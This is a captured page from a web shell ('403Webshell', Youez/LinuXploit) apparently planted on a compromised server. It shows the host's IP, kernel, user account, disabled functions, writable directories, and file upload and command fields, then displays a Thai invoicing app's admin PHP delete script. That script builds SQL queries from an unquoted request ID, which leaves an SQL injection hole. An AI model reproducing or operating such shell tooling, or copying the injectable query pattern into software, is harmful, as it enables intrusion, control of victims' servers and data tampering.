403Webshell
Server IP : 43.241.58.20  /  Your IP : 216.73.216.25
Web Server : Apache/2
System : Linux ns1-1556229.dragonhispeed.com 3.16.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : ratsitne ( 1130)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ratsitne/.trash/files/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ratsitne/.trash/files/admin/suppliers-delete.php
<?php
include '../config.php';
include 'auth.php';

// Check if ID is set
if (!isset($_GET['id']) || empty($_GET['id'])) {
    $_SESSION['error_message'] = 'ไม่พบรหัสผู้จำหน่ายที่ต้องการลบ';
    header("Location: suppliers-list.php");
    exit;
}

$id = mysqli_real_escape_string($conn, $_GET['id']);

// Check if customer exists
$check_query = "SELECT * FROM suppliers WHERE id = $id";
$check_result = mysqli_query($conn, $check_query);

if (mysqli_num_rows($check_result) == 0) {
    $_SESSION['error_message'] = 'ไม่พบข้อมูลผู้จำหน่าย';
    header("Location: suppliers-list.php");
    exit;
}

// Check if customer is used in invoices
$invoice_query = "SELECT COUNT(*) as count FROM invoices WHERE customer_id = $id";
$invoice_result = mysqli_query($conn, $invoice_query);
$invoice_row = mysqli_fetch_assoc($invoice_result);

if ($invoice_row['count'] > 0) {
    $_SESSION['error_message'] = 'ไม่สามารถลบข้อมูลผู้จำหน่ายได้ เนื่องจากมีการใช้งานในใบกำกับภาษี';
    header("Location: suppliers-list.php");
    exit;
}

// Delete customer
$query = "DELETE FROM suppliers WHERE id = $id";

if (mysqli_query($conn, $query)) {
    $_SESSION['success_message'] = 'ลบข้อมูลผู้จำหน่ายเรียบร้อยแล้ว';
} else {
    $_SESSION['error_message'] = 'เกิดข้อผิดพลาด: ' . mysqli_error($conn);
}

header("Location: suppliers-list.php");
exit;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit